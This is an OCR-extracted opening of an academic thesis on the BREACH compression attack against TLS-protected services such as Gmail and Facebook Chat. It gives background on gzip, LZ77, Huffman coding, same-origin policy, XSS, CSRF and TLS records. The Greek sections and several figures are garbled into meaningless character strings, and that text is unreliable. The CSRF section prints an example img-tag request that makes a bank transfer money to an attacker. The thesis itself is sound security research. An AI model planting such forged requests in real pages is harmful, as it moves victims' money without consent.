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HepiAnyn

H aoddAela etvat €va amo ta facikd YapakTnpLloTiKa KaBe cLYyXpOovOoL LITOAOYLGTIKOU
ovoTuatog. H mapovoa epyacia epeuva enMBECELG TTAVW OE GUUTTLEGUEVA KPLTITOY PO~
onuéva TpwTOKOAAQ.

Luykekpuéva, TPoTeiveTal pla véa 8loTnTa mov xapakTnpifel KPLMTTOCLOTAUATA,
uUn-8LaKpLoLOTNTA EVAVTLA O ETILOECELG UEPLKWG ETIAEYUEVOL KeLpEVoL (IND-PCPA),
KaOBwG Kat €va povtéAo eniBeong Tov xpnoomolel avthy v WLoTnTaA.

[Ipokelw€voL va EEMePATTOUV EUMOSLA TTOV TAPOLCLALOVTAL GE€ GUGTHUATA TOL TTPAY-
UOTIKOU KOGUOUV, TTPOTEIVOVTAL OTATLOTIKEG HEBOSOL, 0L 0TTOlEG fEATLIWVOLV TNV eTTiSoon
Kat eykupotnTa ™G enibeong. EmutAeov, avantoydnkav TeXvIKeG BeATIoTOTOINONG OL
07110ieG GLVTOUEVOLV TN SLAPKELA TNG eMiBeoN G KaL KABLGTOUV T ATTOTEAEGUATA TNG TILO
gumoTa.

Ta mepapata mov Ste€nyOnoav katd tn Stapkela Tng epyaciag apopovoav oe VO gv-
pEWG YpnoLuomolovpeva cvotiuata, to Facebook Chat kat to Gmail, yia tnv emnitevén
TWV 0TOlwV XPNoLUomotiBnkKe A0yLoULKO TO omoio avamntuyBnke oe Python yla toug
OKOTIOUG ALTHG TNG epyaciag. Ta metpapata €ywvav e cLVONKeg epyacTnplov Kal aré-
det&av 0tL ta §vo avtd cvotruata Sev eival IND-PCPA, 6cov adhopld CUYKEKPLUEVOUG
TUTTOUG HUOTIKWV.

TéAog, mpoTeivovTal KalvoTOUEG TEXVIKEG OL oTtoieg Ba 08nynoouvv oe MARPN AVTLUE-
TWTILON EMLOEGEWV TTOL AKOAOVOOUV TO HOVTEAO TTIOL TTPOTELVETAL, OTIWG N EMiBEDN TTOVL
TIAPOVCLACGTNKE GTNV Tapovoa epyacia.

Avavewpéveg k800G TNG Tapovoag epyaciag urmopovv va Bpebouv atov akdAovbo
oUVSECUO: https://github.com/dimkarakostas/breach.


https://github.com/dimkarakostas/breach




Abstract

Security is a fundamental aspect of every modern system. This work investigates at-
tacks on compressed encrypted protocols.

A new property of cryptosystems is proposed, called Indistinguishability under Par-
tially Chosen Plaintext Attack (IND-PCPA), along with an attack model that works un-
der such a mechanism.

In order to bypass obstacles of real-world systems, statistical methods were proposed
to improve the performance and validity of the attack. Furthermore, optimization
techniques were developed in order to shorten the attack execution time and enhance
the confidence on the accuracy of the results.

Experiments were conducted on two widely used systems, Facebook Chat and Gmail,
using a Python framework that was implemented for the purpose of this work. Results
in lab environment revealed that those two systems are not IND-PCPA, regarding cer-
tain types of secrets.

Finally, novel techniques were proposed that could lead to complete mitigation of at-
tacks that follow the proposed model.

Updated versions on the current work can be found on the following link: https://
github.com/dimkarakostas/breach.


https://github.com/dimkarakostas/breach
https://github.com/dimkarakostas/breach




EvyaploTtieg

H napovoa SutAwpatikn epyacia ekmoviiOnke ota mAaiola tng ¢poitnorng Hov oTo Tufjua
HAektpoAdywv Mnyavikwv kat Mnyavikwv Yrnoioyiwotwv tov EBvikov MetaoBov Ilo-
AvTeyveiov.

H SutAwpatikn avtr ekmoviiOnke vmo v enifAren tov kabnynt Aploteidn Iayovp-
¢, Tov omoio Ba fBeda va evyaplotiiow Bepud yla Tn PorBeld Tov, KaBWG KaL yLla o
yeyovog 0Tl péow ¢ Sidackaiiag tng Kpuntoypadiag ye elonyaye 6to avTIKELUEVO
Kat ue 08Nynoe oTov Topéa TnG achArELag.

Axodpua, Ba nBera va evxaplotriow Tov Atlovoon ZRvSpo, 0 0Tol0g apy LKA LoV TTPOTELVE
TO O€pa NG EPyaciag KaL 0Tn CLVEXELA UE KATeELOLVVE, pe CLUPOVAELE KAl APLEPWOE
TIOAV XPOVO yla va oulntrioovue ta Bactkd onueia mg.

EmutAeov, Ba tav mapaAendn va unv evyaplotriow tov Angelo Prado, ek Twv Snuiovp-
ywv ¢ apyxkng enibeong BREACH, ywa v auéplotn Borfeld tov ota mpopAnuata
TIOL AVTIUETWTILOAUE KAl GTI GLUVOALKH LAOTIOiNGN NG eniBeanc.

TéAog, Ba n0eAa va evyaplotiiow Tovg GIAOLG Kal TNV OLKOYEVELA POV yLd TN OTHPLEN
TIOL YOV mapeiyav 6Aa avtd Ta xpovia.

Anuntplog Kapakwaortag,
ABnva, 11n Iavovapiov 2016
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Chapter 1

Ewcaywyn

Even if you’re not doing anything wrong, you
are being watched and recorded.

—Edward Snowden

1.1 Ewaywyn

To xaiokaiptTov 2013 emBefatwdnke avtd mov vVITHPXE WG LTTOYia 6AA TA TTPONYOVUEVA
Xpovia: oL cUVOULAieg TTapakoAovBovvTal Katl Ta §eSo0UEVA TTOL AVTAAAACCOVTAL UEGW
Awadiktoov Sev eival acharn. Ot amokaAvyelg Snowden aGAAagav Tov TPOTO UE TOV
omoio avTiAaupavopaaote tn Xprion online vINPECLWV Kat E6TPEYAV TTOAAOVG EPELVNTES
KOl XpioTeg aTnVv avagnTnon AVCEWV WOTE Ol EMKOWVWVIEG va YIVOLV TILO A0PAAELG
armévavTl o€ KaBe ei§ovc avTumdAoug.

Hmapovoa epyacia otoxevel va avadeiéel advvapieg ota TPWTOKOAAA TIOL ETILTPETTIOLV
TNV EMKOWVWVia HEoW ALaSIKTUOU Kal UEGW TNG SNUOGILEVLOTG TNG VA KLVITOTIOLGEL TNV
KOWVOTNTA WOTE VA AVTIHETWITLOTOVY AUTA T TTPOPARHATA.

H épeuva pag eMKeEVTPWVETAL O ETOECELG TTOV EKUETAAAEVOVTAL TOVEG AAYOPLOUOLG
GULUTILEGNG TTOV XPNOLHOTTOLOVVTAL TAVW 6T Sedopéva mov avTaOAAAGGovTal, TTPOTOV
aUTA KPLTTOYPAGNB0UV KAl ATTOGTAAOVV. LUYKEKPLUEVQ, ETTEKTEIVOVIE LTTAPYOVTA UO-
vTéAQ, 0mtw¢ 0 BREACH, wote va katadeifovpe mwg mpwToKoAAA Ta omoia BewpovvTat
ONUEPA ATTOAVTWG ACPAAN ELVAL TIPAKTIKA TPWTA OE TAPOUOLEG ETILOETELG.

Kata tn Stapkela g €peELVAG HaG EMKEVTPWONKAUE GTO AOYLOULKO GLUTTiESNG 8ZIp, TO
omoio edappoCeLtov aryoplOuo DEFLATE, 0 o1t0{0G e TN GELPA TOL ATTOTEAEL GLVELACUO
TWV aAyopiBuwv cvunieong Huffman xat LZ77. ZuykekpLuéva, n eniBeon eKPeTarAeve-
TAL TNV avaAvon ov Kavel o LZ77 mdvw oto Kabapo keipevo, evw avtibeta n vmapén
ovumnieong Huffman eumo8iCel tnv extéAeon. [lapoti Sev eAéyEape AAAOLG aAyOpLOuoLG
1 EUTIOPLKEG EGAPUOYEG GLUTILEONG, EIVAL APKETA AGHAAEG VA LTTOOEGOVUE TTWG OAYOPLO-
UOL TTOV AKOAOUVBOUV OUOLEG TEXVIKEG lval SUVNTIKA 0TOXOL yla TAPOUOLEG ETILOETELG.

To 1o StadeSouevo MPwTOKOAAO avtarrayric Sedouévwy ato Aladiktuo eival to HTTP
(Hyper-Text Transfer Protocol). Eivat evpéwg amodekto nwg Sedouéva mov otéAvovtat
puéow anAov HTTP kat Sev eivat kpuntoypadnuéva Ba mpenet va Bewpovvtal avachain
WG TIPOG TNV AKEPALOTNTA KAl TNV AvBeVTIKOTNTA TOuG. To KEVO 0TV acdhdaAieila mov
adnvel to anAo HTTP rpBe va cvumAnpwoel apyka to SSL (Secure Socket Layer) kat
otn ovvéyela to TLS (Transport Layer Security). To TLS elcayetat wg éva emninedo
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SKTVOoL TTPLV TO eTineSo ehapuoynS Kal EMLPBAAAEL TNV KpLTITOYpAdON TWV SeSouévwy
TIPLV AUTA 6TAAOVV 670 AladikTvo.

OLaAyo6plBuoLkpuntoypadnong mov XpnoLUoTOLOVVTAL EV YEVEL UTTOPOUV VA XWPLGTOVV
o€ 800 KUPLEG KATNYOPLEG: ponG KAl S€oUNG. TNV TpWwTn TEPINTWOoN, Tad Sedouéva Kpu-
MToypadoLVTAL WG UL GLVEXNG POT), EVW TN SEVTEPN TEPiNTWON XWwpilovTal oe SEoueg
toov peyeboug Katkpuntoypadeitat Kabe S€oun xwPLoTa. Le TEPTTWAON TTOL TA SESOUE-
va 8ev katavéuovtal e akpifela oe §€opeg, eloayetal texvnTog Bopupfog wate va
emnitevyOel To emBuunTo ueyebog.

O KupLOTEPOG aAYOpLBuog por¢ eivat o RC4, o omoiog A€oV Bewpeitat avachaAng kat
artodevyeTaLn Xpron Tov. ATtO TNV AAAN TAELPA, 0 TTL0 SLadeSouévog aryopLlduog éoung
elvat o AES, o omoiog ypnowpomnoteital oe Stadpopeg maparrayEg and v mAeodndia
TWV cvoTnuatwv. H xprion aAyopiBuwv pong¢ xabiota tnv enibeon mov meptypddovpe
TIOAU €VUKOAOTEPN, KABWE pewwveTal n vmapén Bopvfov mov uropet va ennpedoel Ta
aroteAéopata. L0TO00, KATA TN SLAPKELA TNG EPELVAG HAG, SLATILOTWOAUE TTWG N XPrion
TOU AES S¢ev e€aocdaiiCel anmoAvtn acdhdrela kat vito mtpoLToBEoeLg eivat Suvato Sedope-
VA TIOL AVTAAAAGCOVTAL PUE AVTEG TIG UEBOSOVE VA LITOKAATTOUV.

I'la va 1o eMITUYOVUE AUTO EMPETE APXIKA VO LOVTEAOTIOLCOVYE TNV eniBeon pag. T'a

TO OKOTIO QUTO opiloaue pLa véa Kpumtoypadiky 8Lotnta, tnv omoia OVOUAlouUE un-
SLOKPLOLUOTNTA EVAVTLA OE EMIOECELG UEPLKWG ETTIAEYUEVOL KELUEVOU (IND-PCPA). Opotieg
L8L0TNTEG, OTIWG IND-CPA, IND-CCA K.Q, eivaL oplopgveg ot BLALOYypadia kKal xpnoponoLlovvTal
EVPEWG OTNV avaivaon Kpuntocvotnuatwy. H eloaywyr tng IND-PCPA otoyxevel otnv
ETEKTAON TWV AVAAVCEWV WOATE VA KAAUTITOUV EMOEGELG OTTWG AVTH TTOL AVATTTUCCETAL

oTNnV mapovoa epyacia.

H emituyia g emiBeong mpoLmoBETEL TO GVGTNUA TO OTTOL0 AVAAVETAL VA TTAPOVOLACEL
OLYKEKPLUEVA XAPAKTNPLOTIKA-TtaBoyEveles. H emidvon twv maboyevelwv eival §edope-
V0 Tw¢ BonBdeL og onUAvTKO Babud oTnNv avTIUETWTILON TNG eNiBeong. LZuvenwg, eivat
ONUAVTIKO VO LOVTEAOTIOU|GOVUE TNV €MiBEOT KAl va 0plOOVUE TA XAPAKTNPLOTIKA TNG,
TIPOTOV ETILXELPIOOVUE VA BPOVUE TPOTIOLG AVTLUETWTILONG TNG.

H emiBeon mov gpevvartal eival EMEKTACT YVWOTWV HOVTEAWYV, OTIWG avadEPOnKe. LoTO-
00 1 AVAALOY| Hag 08nyel og xaAdpwon Twv analTHoEWVY IOV BewpovvTaV SES0UEVEG
KO, KATA CUVETELN, OTOXEVEL GE PEYAAVTEPO €VPOG cLoTNUATWY. Elval epdaveg mwg
0€ OTTOLOSHTIOTE CLOTNUA LKAVOTIOLOVVTAL OL ATTALTHOELG TTOL Oopifovpe n eniBeon eivat
SuvNTIKA EPLKTH, CLVETWG TO cvaTNUa Ba TPETEL va BewpelTal avaoParEg.

Ltnv mapovoa epyaciameptypddovtatl aSuvauieg oe 5U0 epapUoyEG TOL XPNOLUOTOLOV-
VTaL 1o YUEYAAO TTOGOGTO XPNOTWV TOL Atadiktvov. H mpwtn eivat n vmnpecia chat
tov Facebook, 61ov avaivoupe Tov TpOTIO UE TOV 0TT0L0 TPOCWTILKA UNVUUATA KATTOLOV
XPNoTn Utopovv va vrmokAamovv. H §evtepn elval n vnnpecia email tng Google, to
Gmail. e avut) TNV mepinTwaon, TaPOVCLACOVUE TTWEG UTTOPEL KATTOLOG ETLTLIOEUEVOG VA
QITOKTHOELTOV EAEYY0 TOL AOYAPLAGUOD EVOG XPN 0TI WOTE va eival og B€on va vmodubet
TOV XPNOTN, KABWG Kal va LTTOKAEYEL SeSougva TToL avTairdyOnoav pécw mail.

['la TV EKTEAEDCN TWV MELPAUATWY AVATITUEAUE AOYLOULKO o€ enineSo proof-of-concept,
TO OTI010 pmopel va xpnowwomonOet yla tnv eKTtéAeon tng eniBeong oTa GLYKEKPLUEVA
ouoTNUata. LOTO60 KABe cLGTNUA TAPOLCLACEL LBLOPOPPLEG, CUVETTWG YLA va X PN OLUO-
niownOei To 8o AoyLopiko yLa tnv avdivon AAAwv cuoTtnuatwy Ba mpeneL vanponynbovv
Ol KATAAANAEG TPOTIOTIOL OELG.

Le aUTO TO ONUELo elval onUAVTIKO va EMIKEVTPWOOVUE OTO OTATLOTIKO KOUUATL TNG
eniBeong. H eniBeon Sev pmopet va Bewpnbet vietepuvioTiky, KaBwg n avaivecn pag
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BaoiCetalr otn xprion mbavotitwv. Etvat eudavég wotdoo mwg ato Babud mov e€aocda-
AllovpE PEYAAVTEPN EUTTLOTOCVVN KAL UELWVOUE TO OTATLOTIKO AAB0G, Ta amoTteAéopata
elvat Suvato va mPokLYOUV e ALyOTEPO XPOVO Kal Ue UEYaAUTEPN akpifela.

O mBavoTtikog mapayovtag g enibeong pag odnynoe otnv avantun uebodwv BeAtt-
otomoinong. O atdy o6 pag apopd o SUV0 KATELVOVVOELG: UELWOT TWV OTATIOTIKWY SeLypud-
TWV KAl EAQYLOTOTTOLNGN TOVL XPOVOL GLAAOYIG KABe Selypartoc.

LTtnv mpwtn meEPinTwon eivat avaykaio va oploTel éva KataAAnAo Anbog Setypdtwv,
Ta oTTola 08NyoUV o€ £va acPaAEG cuunépacpa. BAceL Tov vOUOL TwV HeEYAAwY apliuwv,
000 TEPLOCOTEPA SelypaTa CLUAAEYOVUE TOCO KAAUTEPA ATTOTEAECUATA AVAUEVOUUE.
Q071000 amo €va onueio Kat HETA 0 XPOVOG EKTEAEONG KABLOTA peyaAvtepo MARO0G
SEUATWY armayopeLTKO. I'ia avTd To AOY0 AVOAVCAUE TNV OTATLOTLKY] KATAVOUY] TOV
BopuPou kal kataAn&ape oe oUYKEKPLUEVO TTANBOC SElyudtwy amod To 0100 urnopouvv
Va TTPOKLYPOLY A&LOTILOTA ATOTEAEGUATA YLA KAOE TiepinmTwon.

L1n Sevtepn mePIMTWAON EPEVVACAUE TN AELTOLPYIA TWV TTPOYPAUUATWY TTEPLYNONG
TOU AlaSIKTVO (browsers) Kat Twv TPOTOKOAAWY TWV ENMUTESWV HETAPOPAG KL SLKTVOV.
Anulovpynoape TeEXVIKEG TTapaiAnAomoinong, oL omoieg emTpénovy ™ Slaipeon Twv
avayKkaiwv SeEyuatwy Ye armodoTIKEG ueBOS0UE KaL T GUAAOYY| TOUG ATTO TTOAAEG TTNYEG
Tavtoypova. Ev téAel, kaBe teXviK umopetl va o8nynoeL og emtdyvvon ¢ enibeong
KOTA OPKETEC TAEELG pueyEBoLG.

Ta armoteAéopata mov mPogkLYPAV yLa TIG LTINPECLEG TTOL EAEYEQUE UTTOPOLV va Bewpn-
BoVv emLTLYNUEVA. ZUYKEKPLUEVQ, artoSei&ape OTL oL aduvapieg oL BPKAUE UTTOPOVV
Va XPNOoLUononovyv 0nws avapevape Kat KatadpEPapue va LITOKAEYOUE TOVAAYLGTOV
éva byte §edouévwv oe kdbe mepintwon. LoTdco0, 0 XpPOVOG OV ATTALTELTAL yla TNV
oAOKANpwon NG eniBeong eival tng Ta&ng Twv ESOUASWV i} UNVWV, CLVETIWG, AVAAOYQ
UE TLG QITALTNOELG TOV EMITIOEUEVOU, N emiBeon pmopel va BewpnBel un-peaiiotikn. Le
KGOe TepTwon, Ta A0 TEAECUATA LAG KATASELKVVOLV OTLTA GLOTIUATA TTOV AVOAVOQ-
ue, 0to Babud kat vo TI§ TPoVTOBETELG TOL EpLypadape, Ba mpémel va Bewpovvtal
avach o).

H avtipetwmnion g eniBeong Ba mPEMEL va amOTEAECEL AVTIKEIPEVO HEAETNG KAL VA
vAomon0ei o cvvTopdTEPO SLvaTOV. H dion TG emibeong eMLTPEMEL EMAEKTIKEG AVGELG,
oL omoieg BeATiwvouy TNV achdiela vtd TPoLTTOBEcELS. LOTOCO eival amapaitnTo va
VAOTTOLNOOVV TIPATLTIA TA OTIOLA ETILKEVTPWVOVTAL 6TA SOULKA TIPOBALATA TIOV ETLTPE-
TIOLV TETOLOVL €L80V¢ EMBETELG KAL AVTIUETWTTICOVY OAOKANPWTIKA TIG TTAOOYEVELEG.

Z1n BLBAoypadia prropovv va Bpedovv mA0og Tpotacewy oL WG Eva Baduo odnyovv
o€ BeAtiwon TG achAAELOG TWV CLOTNUATWVY. ETNV TAPOVOA EPYACLA AVAAVOLE OpKE-
TEG TETOLEG TPOTACELG KAL EENYOVE YA TTOLO AOYO0 €V AITOTEAOVV PLILKI] AVTLUETWIILON
TOU TIPOPANUATOG. ETN CUVEXELQ, TTAPOUVCLACOVYE TIPOTLTIA TA OTTOla EHOCGOV VAOTIOLN-
Bovv eivat Suvatdv va eEareiPouv 0OAOKANPWTIKA EMOECELS OTIWG AVTH TTOL EPEVVIHCALIE.

Ev téAeL, n mapovoa epyacia amoTeAel TN CLVEYXELA ULA OPUASAG EPELVWY TIOV TAPOLGCLA-
oTNKAV Ta TEAELTALO X¥pOVLIa Kal davepwaoav Bacikeég aduvauieg oTa cLOTAUATA TTOV
XPNoLponolove Katad kopov. Etvat onuavtiké va emektabel pe véeg TEXVIKEG BEATLOTO-
noinong tne enibeong kai, Kupiwg, véeg ueBOS0LG AVTIUETWTILONG TNG.

1.2 Aounf ™nG epyaociag

H epyaocia éxeL Soun0Oel wg €&ng:
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KedbaAawo 2

To xepdAaro avtd apéxeL 6Tov avayvwaoTtn Bactkég mAnpodopieg, TOO0 o€ TEXVIKO
000 Kal og BewpnTKO eminedo, oL onoieg Ba ypnotpomownBovv oTn cuvéyela. Ba
niepLypadouvpe Toug Lo SladeSopEvoug aryopliuoug cvprieong, Kabwg kat facika
TIPWTOKOAAQ TIOV XPNOLUOTIOLOVVTAL YL TNV A0HAAELN OTLG ETTLKOLVWVIEG, KABWG
Kal eMOECELG EVAVTIWVY TOUC.

Kedarawo 3

Elodyovpe pla véa 810TnNTa yla KPUITOCLGTHUATA, TTEPLYPAPOVTAG AUATNPOVG
OpPLopHOVG yla auThv. Tn ouykpivovpe pe yVWOoTEG LELOTNTEG KPUTTTOCLOTNUATWY
KOl Tapovolafovue oevapla emBEcewV Ue BACN TO VEO O UAL.

KedbdaAawo 4

[Teprypadovpue oe fAB0¢ To povTéL0 eNiBeong mov epevvdaTal o€ auTH TNV gpyaaia.
AvaAvovpue Tnv vAomoinor pag ywa tnv enibeon, mapovaotafovpe Taboyéveleg oe
pueydia cvotriuata, kKabwg kat pefodoroyia wote va propei va emPBefaiwbel kata
7000 n entiBeon eivat Suvatr 66ov adpopa KATTOLO CLUYKEKPLUEVO GTOXO.

KeddAato 5

To kedAAalo avTd MEPLEXEL OTATIOTIKEG LeEBOSOLE TTOL Ypnolpomo|Bnkav Katd
v épevva pag. IIpoteivovTal mBavoTIKEG TEXVIKEG WATE va TapakaudpBovv eumnodia,
KOG KaL apKeTOL unyaviopoti feAtiotomnoinong tng enibeonc.

KedpdArawo 6

[TapovoldCov e T ATTOTEAECUATA EKTEVWV TIELPAUATWY OE EVPEWG XPNOLUOTOLOVUEVA
ocvoTiuata. Opifovue TIg TBAVATNTEG EMLITLYLOG TNG EMIBEONG KAl TAPOLGLACOLUE
Slaypaupata anodoong yla kabe mepintwon.

KedpaAawo 7

[Teprypadovue UNYavIoUoLV AVTLUETWTILONG TNG EMiBEONG. AVAAVOLUE TNV ATT0500M
TIOAQLWYV TTPOTAGEWV LTTO TO TIPloua TWV SeSoUEVWY TTOL TPOEKLPAV ATTO TNV TAPOLCA
gpyacio Kal TPOTELVOLYE KALVOTOUEG TEXVIKEG TTOL Ba prmopovoav SuVNTIKA va
eCaielpovv v enibeon.

KedbdAawo 8

LZUUITUKVWVOULUE TA AITOTEAECUATA pag Kal tpoTeivovpe media €pevvag mov Ba
UITOPOVOAV UEAAOVTIKA VA BEATLWOOLVV TO LOVTEAO eMTiBECN G KAL VA EAAYLOTOTIOL|COVV
TNG GUVETIELEG.
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KedaAawo 9

0 xwd8wag vAomoinong tng enibeong.
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Chapter 2

Theoretical background

In this chapter we will provide the necessary background needed for the user to un-
derstand the mechanisms used later in the work. The description of the following
systems is a brief introduction, intended to familiarize the reader with concepts that
are fundamental for each one.

Specifically, section 2.1 describes the functionality of the gzip compression software
and the algorithms that it entails. Section 2.2 covers the same-origin policy that applies
in the web application security model. In section 2.3 we explain Transport Layer Se-
curity, which is the widely used protocol that provides communications security over
the Internet. Finally, in section 2.4 we describe attack methodologies, such as ARP
spoofing or DNS poisoning, in order for an adversary to perform a Man-in-the-Middle
attack.

2.1 gzip

gzip is a software method used for file compression and decompression. It is the most
popular compression method on the Internet, integrated in protocols such as HTTP,
XMPP and many more. Derivatives of gzip include the tar utility, which can extract
.tar.gz files, as well as zlib, an abstraction of the DEFLATE algorithm in library form.!

It is based on the DEFLATE algorithm, which is a composition of LZ77 and Huffman
coding. DEFLATE could be described in short by the following compression schema:

DEFLATE(m) = Huf fman(LZ77(m))

In the following sections we will briefly describe the functionality of both these com-
pression algorithms.

2.11 LZ77

LZ77 is a lossless data compression algorithm published by A. Lempel and J. Ziv in
1977 [4]. It achieves compression by replacing repeated occurrences of data with ref-
erences to a copy of the same data existing earlier in the uncompressed data stream.
The reference is composed of a pair of numbers, the first of which represents the
length of the repeated portion and the second of which describes the distance back-
wards in the stream. In order to spot repeats, the protocol needs to keep track of some

! https://en.wikipedia.org/wiki/Gzip
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amount of the most recent data, specifically the latest 32 kilobytes. This data is held
in a sliding window, so in order for a portion of data to be compressed, the initial
appearance of it needs to have occurred at most 32 Kb up the data stream. Also, the
minimum length of a text that can be compressed is 3 characters and compressed text
can refer to literals as well as pointers.

Below you can see an example of a step-by-step execution of the algorithm for a chosen
text:

Hello, world! | love you.
Hello, world! | hate you.

Hello, world! Hello, world! Hello, world!

Figure 2.1: Step 1: Plaintext to be compressed

Hello, world! | love you.

Hello, world! | love you.

Figure 2.2: Step 2: Compression starts with literal representation

Hello, world! | love you.
Hello, world! |

Hello, world! | love you.
t (26, 16)

Figure 2.3: Step 3: Use a pointer at distance 26 and length 16

Hello, world! | love you.
Hello, world! | hate

Hello, world! | love you.

L (26, 16) hate

Figure 2.4: Step 4: Continue with literal
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Hello, world! | love you.
Hello, world! | hate you.
Hello, world!

Hello, world! | love you.
(26, 16) hateL(21, 5)

Figure 2.5: Step 5: Use a pointer pointing to a pointer

Hello, world! I love you.
Hello, world! I hate you.
Hello, world! Hello world!
Hello, world! I love you.
t (26, 16) haté+21, 5)

Figure 2.6: Step 6: Use a pointer pointing to a pointer pointing to a pointer

Hello, world! | love you.

Hello, world! | hate you.

Hello, world! Hello world! Hello world!
Hello, world! | love you.

(26, 16) hate{21, 5)

t_(26, 14) (14, 28)

[ S

Figure 2.7: Step 7: Use a pointer pointing to itself

2.1.2 Huffman coding

Huffman coding is also a lossless data compression algorithm developed by David A.
Huffman and published in 1952 [2]. When compressing a text with this algorithm,
a variable-length code table is created to map source symbols to bit streams. Each
source symbol can be represented with less or more bits compared to the uncom-
pressed stream, so the mapping table is used to translate source symbols into bit
streams during compression and vice versa during decompression. The mapping ta-
ble could be represented as a binary tree of nodes, where each leaf node represents
a source symbol, which can be accessed from the root of the tree by following the left
path for 0 and the right path for 1. Each source symbol can be represented only by leaf
nodes, therefore the code is prefix-free, i.e. no bit stream representing a source symbol
can be the prefix of any other bit stream representing a different source symbol. The
final mapping of source symbols to bit streams is calculated by finding the frequency
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of appearance for each source symbol of the plaintext. That way, most common sym-
bols will be coded in shorter bit streams, resulting in a compression of the initial text.
Finally, the compression mapping needs to be included in the final compressed text
so that it can be used during decompression.

Below follows an example of a plaintext and a valid Huffman tree that can be used
for compressing it:

Chancellor on brink of second bailout for banks

Frequency Analysis
0:6  n:5|r:3 |13
b:3|c:3 |a:3|s:2
ki2|e2 |12 |f:2
h:1 | d:1 | t1 |u1l

Huffman tree

0: 00 n: 01 r: 1000 1: 1001

b: 1010 c: 1011 a: 11000 s: 11001

k: 11010 e: 11011 i: 11100 f: 1111000
h:1111001 | d: 1111010 | t: 1111011 | u: 1111100

Initial text size: 320 bits
Compressed text size: 167 bits

2.2 Same-origin policy

Same-origin policy is an important aspect of the web application security model. Ac-
cording to that policy, a web browser allows scripts included in one page to access data
in a second page only if both pages have the same origin. Originis defined as the com-
bination of Uniform Resource Identifier (URI)? scheme, hostname and port number.
For example, a document retrieved from the website http://example.com/target.html
is not allowed, under the same-origin policy, to access the Document-Object Model® of
a web page retrieved from https://head.example.com/target.html, since the two web-
sites have different URI scheme (http vs https) and different hostname (example.com
vs head.example.com).

Same-origin policy is particularly important in modern web applications, that rely
greatly on HTTP cookies to maintain authenticated sessions. If same-origin policy was
not implemented, the confidentiality and integrity of cookies, as well as every other
content of web pages, would be compromised. However, despite the use of same-
origin policy by modern browsers, there exist attacks that enable an adversary to by-
pass it and compromise a user’s communication with a website. Two major types of
such attacks, cross-site scripting and cross-site request forgery are described in the
following subsections.

The unfamiliar reader should refer to [6] for further discussion on Same Origin Policy.

2 https://en.wikipedia.org/wiki/Uniform_resource_identifier
3 https://en.wikipedia.org/wiki/Document_Object_Model
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2.2.1 Cross-site scripting

Cross-site scripting (XSS) is a security vulnerability that allows an adversary to inject a
client-side script into web pages viewed by other users. That way, same-origin policy
can be bypassed and sensitive data handled by the vulnerable website may be com-
promised. XSS could be divided into two major types, non-persistent and persistent.

Non-persistent XSS vulnerabilities are the most common. They show up when the
web server does not parse the input, in order to escape or reject HTML control char-
acters, allowing for scripts injected to the input to run unnoticeable. Usual methods of
performing non-persistent XSS include mail or website URL links and search requests.

Persistent XSS occurs when data provided by the attacker are stored by the server.
Responses from the server toward different users will then include the script injected
from the attacker, allowing it to run automatically on the victim’s browsers, without
need from the attacker to target them individually. An example of such attack can
occur when posting texts on social networks or message boards.

For further information on XSS refer to [8].

2.2.2 Cross-site request forgery

Cross-site request forgery (CSRF) is an exploit that allows an attacker to issue unau-
thorized commands to a website, on behalf of a user the website trusts. The attacker
can then forge a request that performs actions or posts data on a website the victim
is logged in or execute remote code with root privileges.

CSRF can be performed when the victim is trusted by a website and the attacker can
trick the victim’s browser into sending HTTP requests to that website. For example,
when Alice visits a web page that contains the HTML image tag <img src="http://
bank.ezample. com/withdraw?account=A1%cefamount=10000006for=Mallory”>, that Mal-
lory has injected, a request from Alice’s browser to the example bank’s website will be
issued, stating an amount of 1.000.000 to be transferred from Alice’s account to Mal-
lory’s. If Alice is logged in the example bank’s website, the browser will include the
cookie containing Alice’s authentication information in the request, validating the re-
quest for the transfer. If the website does not perform more sanity checks or further
validation from Alice, the unauthorized transaction will be completed. An attack like
this is very common on Internet forums, where users are allowed to post images.

A mitigation method for CSRF is a Cookie-to-Header token. The web application sets
a cookie, which contains a random token that validates a specific user session. Client
side reads that token and includes it in a HTTP header sent with each request to the
web application. Since only JavaScript running within the same origin will be allowed
to read the token, we can assume that its value is safe from unauthorized scripts that
aim to read and copy it to a custom header, in order to mark a rogue request as valid.

For further discussion on XSS refer to [7].
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2.3 Transport Layer Security

Transport Layer Security (TLS) is a protocol that provides security over the Internet,
allowing a server and a client to communicate in a way that prevents eavesdropping,
tampering or message forgery.

The users negotiate a symmetric key via asymmetric cryptography, that is provided
by X.509 certificates. In order for the certificates to be verified for their owners, cer-
tificate authorities and PKIs have been created.

Apart from certificate-related attacks, another category is compression attacks [12].
Such attacks exploit TLS-level compression in order to decrypt ciphertext. In this work,
we investigate the threat model and performance of such an attack, BREACH?.

The unfamiliar reader should refer to [11] for further discussion on TLS.

In the following subsections we will briefly describe the handshake negotiation and
the format of TLS records.

* http://breachattack.com
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2.3.1 TLS handshake

user sener

ClientHello i

TLS protocal, randomnumber,
cipher, compression

Serv erHello

TLS praotocol, random number,
. . . '
! cipher, compression, session D !

Certificate

Serv erkeyExchange

Serv erHelloDone

ClientkeyExchange
PreMasterSecret, public key

ChangeCipherSpec

Finished
v hash, MAC .

ChangeCipherSpec

Finished

Figure 2.8: TLS handshake flow

The above sequence diagram presents the functionality of a TLS handshake. User
and server exchange the basic parameters of the connection such as the protocol
version, cipher suite, compression method and random numbers, via the ClientHello
and ServerHello records. The server then provides all information needed for the
user to validate and use the asymmetric server key, in order to compute the sym-
metric key that will be used for the rest of the communication. The client computes
a PreMasterKey, that is sent to the server, which is then used by both parties to com-
pute the symmetric key. Finally, both sides exchange and validate hash and MAC codes
over all the previous messages, after which they both have the ability to communicate
safely.

This functionality is used only for the basic TLS handshake. Client-authenticated and
resumed handshakes work similarly, although they are not relevant for the purpose
of this work.
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2.3.2 TLS record

+ Byte +0 Byte +1 Byte +2 Byte +3
Byte Content type
Bytes Version Length

1.4 (Major) {Minor) (bits 15..8) {bits 7..0)
Bytes
5..(m-1) Protocol message(s)

Bytes
m..(p-1)
Bytes
p..(q-1)

MAC (optional)

Padding (block ciphers only)

Figure 2.9: TLS record

The above figure depicts the general format of all TLS records.

The first field defines the Record Layer Protocol Type of the record, which can be one
of the following:

Hex | Type
0x14 | ChangeCipherSpec
0x15 | Alert

0x16 | Handshake
0x17 | Application
0x18 | Heartbeat

The second field defines the TLS version for the record message, which is identified
by the major and minor numbers:

Major | Minor | Version
3 0 SSL 3.0
3 1 TLS 1.0
3 2 TLS 1.1
3 3 TLS 1.2

The aggregated length of the payload of the record, the MAC and the padding is then
